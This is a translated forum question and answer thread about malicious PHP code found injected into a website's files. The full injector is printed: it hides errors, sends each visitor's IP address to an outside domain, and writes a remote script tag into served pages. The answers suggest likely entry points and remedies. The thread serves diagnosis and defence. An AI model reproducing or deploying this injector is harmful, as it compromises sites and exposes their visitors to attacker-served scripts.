[英]Malicious PHP code injected into a PHP file
上周,我們在服務器上遇到了問題,將代碼注入到PHP文件中。 我想知道這可能是什么原因。 注入到文件中的代碼片段看起來像這樣。
#be7339#
if (empty($qjqb))
{
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents'))
{
function __url_get_contents($remote_url, $timeout)
{
if(function_exists('curl_exec'))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
}
elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen'))
{
$ctx = @stream_context_create(array('http' =>array('timeout' => $timeout,)));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents'))
{
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i', $remote_url, $matches))
{
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http")
{
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else
{
// Bad protocol
return FALSE;
}
if (!$socket)
{
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request))
{
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain))
{
$_ip = $_SERVER['REMOTE_ADDR'];
$qjqb = "http://pleasedestroythis.net/L3xmqGtN.php";
$qjqb = __url_get_contents($qjqb."?a=$_ip", 1);
if (strpos($qjqb, 'http://') === 0)
{
$__var_to_echo = '<script type="text/javascript" src="' . $qjqb . '?id=13028308"></script>';
echo $__var_to_echo;
}
}
}
我想問這怎么可能發生。 以及將來如何防止這種情況。
提前致謝。
您的服務器上的Apache版本是什么? 使用過時的版本可能會導致此問題。
查看有關舊版本Apache上的安全漏洞的鏈接:
腳本(PHP)代碼注入通常意味着某人已經掌握了您的托管帳戶的密碼。 至少要掃描您的PC上的間諜軟件和病毒,然后更改密碼。 如果可能,在連接到托管帳戶控制面板時使用SSL。 使用FTP時要小心,因為它會明文發送密碼。 查看主機是否支持更安全的文件傳輸方法。
發生這種情況的最常見方式是您可能具有允許文件上傳的腳本。 然后,如果腳本未驗證上傳的文件,則惡意用戶可以上傳php文件。
如果您的上傳文件夾允許解析PHP文件,則用戶可以在瀏覽器中運行該PHP文件,則它可能是某種文件瀏覽器,它將向用戶顯示服務器上的所有文件。 現在,如果任何文件都具有正確的權限,則用戶可以輕松地編輯文件以包含您看到的額外代碼。
通常是因為其他人可以訪問您的FTP或您允許上傳PHP文件。
您應該查看其他文件,因為可能還有另一個代碼,這些代碼不斷將這些行添加到您的代碼中(請猜測一下,因為開頭是“#be7339#”。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.